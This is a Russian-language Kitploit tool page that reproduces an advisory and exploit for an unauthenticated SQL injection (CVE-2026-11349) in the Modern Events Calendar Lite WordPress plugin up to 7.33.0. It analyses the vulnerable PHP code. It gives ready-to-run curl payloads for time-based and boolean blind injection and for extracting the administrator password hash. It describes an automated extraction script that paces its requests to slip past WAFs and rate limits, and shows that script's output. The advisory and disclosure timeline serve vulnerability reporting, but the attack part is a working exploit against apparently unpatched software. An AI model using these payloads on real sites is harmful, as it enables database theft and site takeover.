Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — Неаутентифицированная SQL-инъекция | Kitploit
Инструменты/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — Неаутентифицированная SQL-инъекция

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Modern Events Calendar Lite <= 7.33.0 — Неаутентифицированная SQL-инъекция через mec_list_load_more (atts[include] / atts[exclude])

Краткое описание

ДетальЗначение
ПлагинModern Events Calendar Lite
Slugmodern-events-calendar-lite
АвторWebnus
Затронутые версии<= 7.33.0 (текущая распространяемая вендором Lite-версия). Ошибка присутствует во всем диапазоне после w.org; лабораторно подтверждена на 6.5.6 и 7.33.0, статически подтверждена в 5.21.2. 6.5.6 = последняя сборка на wordpress.org (заморожена с момента закрытия 2022-05-11); 7.33.0 = текущая сборка, распространяемая с mec.webnus.net
Активные установкиКоличество на wordpress.org скрыто с момента закрытия; исторически более 100 000. По-прежнему активно распространяется и обновляется вендором (Lite через mec.webnus.net; та же кодовая база 7.x лежит в основе активно продаваемого MEC Pro)
CWECWE-89 (SQL-инъекция)
УязвимостьНеаутентифицированная слепая SQL-инъекция (time-based / boolean / error-based)
Требуемые привилегииОтсутствуют (wp_ajax_nopriv_* — без аутентификации)
Взаимодействие пользователяНе требуется
CVSS v3.17.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
СтатусЛабораторно подтверждена от начала до конца на 7.33.0 (текущая) и 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Описание

Modern Events Calendar Lite регистрирует семейство неаутентифицированных действий admin-ajax.php «load more» для своих скинов списка событий (list, grid, masonry, agenda, timeline, tile, custom). Каждый обработчик считывает управляемый атакующим массив atts из запроса, передает его через вспомогательную функцию с именем sanitize_deep_array(), которая — при вызове со своими аргументами по умолчанию — не выполняет никакой санитации вообще — а затем конкатенирует значения atts['include'] (и atts['exclude']) в сыром виде во фрагмент SQL post_id IN (...) который выполняется с помощью $wpdb->get_results() и без $wpdb->prepare().

Поскольку точки входа зарегистрированы на wp_ajax_nopriv_*, не требуется ни аутентификации, ни учетной записи, ни nonce, ни взаимодействия с пользователем. Неаутентифицированный удаленный атакующий может внедрить произвольный SQL в предложение WHERE запроса SELECT к wp_mec_dates и прочитать любые данные в базе данных WordPress (хэши паролей пользователей, секреты/ключи wp_options, данные других плагинов) с помощью слепых time-based / boolean / error-based техник.


Первопричина

1. «Санитайзер», который ничего не санитизирует на пути по умолчанию

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // строка 9615
        {
            $sanitized[$key] = $val;   // <-- Прямая передача без санитации
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... достигается только когда $excludes не пуст)
    }
    return $sanitized;
}

Условие (is_array($excludes) and !count($excludes)) делает функцию полностью бездействующей, когда $excludes является пустым массивом по умолчанию — каждое значение копируется без изменений. Очевидно, намерением было «если есть список исключений, пропустить эти ключи»; по факту булева логика пропускает всё, если список исключений не предоставлен.

2. Вызывающий код не предоставляет $excludes

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // строка 501

sanitize_deep_array($_REQUEST['atts']) вызывается с одним аргументом → $excludes по умолчанию равен array() → срабатывает ветка бездействия выше → $atts — это сырой, недоверенный $_REQUEST['atts'].

3. Прямая конкатенация в предложение IN (...)

app/libraries/skins.php:

root@kitploit:~
// строка 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// строка 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

Элементы массива напрямую подставляются в SQL-строку через implode() без приведения к целому числу и без экранирования. (absint()/(int) для каждого элемента решили бы проблему.)

4. Выполнение без подготовленного выражения

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // только заменяет `#__` на префикс таблиц
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // строка 87 — нет prepare()
    // ...
}

Полностью собранная строка передаётся в $wpdb->get_results() без изменений.

Поток заражения (запрос → сток):

root@kitploit:~
$_REQUEST['atts']                                       (управляется атакующим, без аутентификации)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (БЕЗДЕЙСТВИЕ: пустой $excludes по умолчанию)
  → MEC_skin::initialize($atts)                         ($this->atts = сырые аттрибуты)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (нет prepare)

Доступность

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- без аутентификации

Регистрация nopriv делает конечную точку доступной до аутентификации. Такая же структура load_more() и общий построитель запросов в skins.php присутствуют в родственных скинах, каждый со своим действием wp_ajax_nopriv_*, поэтому та же инъекция доступна через любой из:

AJAX-действие (nopriv)Обработчик скина
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

В load_more() nonce не проверяется, и для действия не требуется наличие шорткода плагина на странице — AJAX-обработчики регистрируются безусловно при инициализации.


PoC (лабораторно подтверждено, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

Все запросы неаутентифицированные (без cookie, без nonce). Внедряемое значение помещается в atts[include][]; полезная нагрузка закрывает две открывающие скобки IN ((...) AND (... IN ( и добавляет OR <sleep> верхнего уровня, чтобы условие оценивалось для каждой сканируемой строки, затем комментирует завершающие )) ORDER BY ...:

root@kitploit:~
TARGET='https://victim.example'          # обычные permalink'и: используйте admin-ajax.php напрямую

# 1) Базовый замер (без инъекции)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based доказательство — сбалансированный OR SLEEP верхнего уровня
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) выполнен

# 3) Булев оракул (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Извлечение реальных данных (слепое), например, первый байт хэша пароля администратора == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: хэш администратора начинается с '$' (phpass)

Точный выполненный запрос (захвачен из WP_DEBUG_LOG) для канарейки ошибок atts[include][]=0)MEC_SQLI_CANARY:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— литеральный токен MEC_SQLI_CANARY появляется дословно в выполненном выражении, что подтверждает прямую конкатенацию. Параметр atts[exclude][] (skins.php:803 / 603, NOT IN) инжектируем аналогично (лабораторно подтверждено: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). Идентичный запрос и инъекция были воспроизведены на 7.33.0 (текущая сборка) — та же канарейка, то же поведение SLEEP.

Автоматизированный PoC

mec-unauth-sqli-poc.py (прилагается) полностью самодостаточен и не требует учетных данных: он подтверждает инъекцию (базовый замер против SLEEP), затем выполняет time-based слепое извлечение произвольных данных (по умолчанию: @@version, пользователь БД, и user_login:user_pass первого администратора). Он проверяет каждый ответ (HTTP 200) и регулирует запросы с помощью --delay + back-off для обхода WAF/лимитирования (например, mod_evasive). Данные не изменяются (контекст SELECT только для чтения).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

Влияние

Неаутентифицированный, доступный по сети, полный доступ на чтение к базе данных: хэши паролей wp_users, wp_options (auth_key, секреты API, токены) и любые другие таблицы. На практике это приводит к полному захвату сайта (офлайн-взлом хэшей, кража секретов/сессий). Влияние на целостность ограничено — инъекция выполняется в SELECT через $wpdb->get_results(), который не допускает составных запросов, следовательно I:N. Тяжелые SLEEP/BENCHMARK могут ухудшить доступность, но основное, надежно продемонстрированное воздействие — на конфиденциальность (C:H), что дает CVSS 7.5.


Затронутые файлы

Номера строк приведены для 7.33.0 (текущая) с указанием 6.5.6 в скобках; код идентичен во всем диапазоне.

ФайлСтрока (7.33.0 / 6.5.6)Проблема
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() бездействует, когда $excludes — пустой массив по умолчанию (условие !count($excludes))
app/skins/list.php535 / 501atts читается из $_REQUEST и передаётся в sanitize_deep_array() без $excludes (в load_more(), 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → неаутентифицированная точка входа
app/libraries/skins.php806 / 603-606Массивы include / exclude напрямую подставляются через implode() в post_id IN (...) / NOT IN (...) (exclude на 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() выполняет $wpdb->get_results() без prepare()

Родственные скины (grid, masonry, agenda, timeline, tile, custom) используют ту же структуру load_more() + построитель запросов skins.php и каждый регистрирует действие wp_ajax_nopriv_* → та же ошибка, несколько точек входа.


Отличие от предыдущих CVE для SQL-инъекций в Modern Events Calendar

Это отдельная, ранее не сообщавшаяся точка инъекции. Каждая публично задокументированная SQL-инъекция в MEC нацелена на другое AJAX-действие и параметр, и все были исправлены в версиях, которые данная находка превосходит (лабораторно подтверждено, что она активна в 7.33.0):

СсылкаАутентификацияAJAX-действиеПараметрИсправлено в
CVE-2021-24946Неаутентифицированнаяmec_load_single_pagetime6.1.5
CVE-2021-4458Неаутентифицированная (только если отключено addslashes/входное экранирование)mec_load_single_pageid6.4.0
CVE-2021-24149Аутентифицированная (автор+/подписчик)mec_fes_formmec[post_id]5.16.6
Этот отчётНеаутентифицированная (без предварительных условий)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]не исправлено (≤ 7.33.0)
  • Другой путь кода. Предыдущие проблемы без аутентификации находятся в обработчике одного события mec_load_single_page; эта — в пагинации "load more" скинов (load_more() → MEC_skin::initialize() → построитель post_id IN (...) в app/libraries/skins.php), достигаемой через ветку бездействия по умолчанию в sanitize_deep_array(). Исправления mec_load_single_page не затрагивают skins.php.
  • Нет предварительных условий конфигурации. CVE-2021-4458 (id) была эксплуатируема только при отключенном экранировании ввода в PHP/WordPress (нестандартное состояние), поскольку значение находится в кавычковом контексте. Здесь значения atts[include]/atts[exclude] попадают в некавычковый числовой контекст IN(...) и эксплуатируются с помощью скобок и SQL-ключевых слов (0)) OR SLEEP(3)#), которые wp_magic_quotes() не нейтрализует. Следовательно, это эксплуатируемо на стандартной установке WordPress — лабораторно подтверждено на стандартном WP 7.0 (магические кавычки включены).
  • Переживает все предыдущие исправления. Подтверждено срабатывание на 7.33.0 — через четыре года и мажорную версию после последнего патча mec_load_single_page (6.4.0).

Раскрытие / сфера применения

Modern Events Calendar Lite был удален из wordpress.org 2022-05-11 ("Причина: нарушение руководства"), поэтому сборка на wordpress.org заморожена на 6.5.6. Это не означает, что плагин заброшен — Webnus продолжил разработку вне платформы: текущая Lite-сборка, распространяемая с mec.webnus.net — это 7.33.0, и уязвимый путь кода там байт-в-байт тот же самый (лабораторно подтверждено; SQLi срабатывает идентично на 7.33.0). Таким образом, ошибка затрагивает каждый выпуск в диапазоне после удаления, а не только замороженную копию на wordpress.org.

Последствия для маршрутизации (возражение "закрыт на wordpress.org" гораздо слабее, чем кажется):

  • Это текущий, распространяемый вендором, поддерживаемый продукт, а не заброшенный код — координированное раскрытие информации Webnus является основным каналом; они активно выпускают обновления и должны исправить.
  • MEC Pro (активно продается; текущий 7.x) построен на той же кодовой базе 7.x. app/libraries/skins.php, app/libraries/main.php и app/libraries/db.php являются общими библиотеками ядра, поэтому Pro почти наверняка затронут. Это следует подтвердить на исходном коде Pro перед формальным утверждением, но архитектура с общими библиотеками делает это очень вероятным. Подтвержденное влияние на Pro делает находку однозначно входящей в сферу действия Patchstack (публично продаваемый компонент) и заслуживающей CVE от MITRE/Patchstack независимо от статуса листинга на wordpress.org.
  • Для потребителей, которые ориентируются именно на листинг wordpress.org (некоторые критерии вознаграждений Wordfence; исключение "закрытый компонент" Patchstack в применении к бесплатной сборке Lite), следует ссылаться на распространяемую вендором версию 7.33.0 + влияние на Pro, а не на замороженную 6.5.6.

CVE оправдана по существу: неаутентифицированная, доступная по сети, SQL-инъекция с полным чтением БД в текущем, распространяемом вендором продукте с шестизначной исторической базой установок.


Хронология

ДатаСобытие
2026-06-03Обнаружено в ходе автоматического обзора плагина; проверено от начала до конца (без аутентификации) на MEC Lite 6.5.6 (замороженная сборка wordpress.org)
2026-06-04Повторно проверено от начала до конца на 7.33.0 (текущая распространяемая вендором Lite-версия с mec.webnus.net); подтверждено, что код/инъекция идентичны — находка актуальна, а не артефакт удаленной версии
2026-06-04Уведомление вендора (Webnus) + запрос CVE в WPScan; подтверждено, что MEC Pro использует тот же путь
2026-06-05Уязвимость подтверждена и присвоен CVE
Скачать инструмент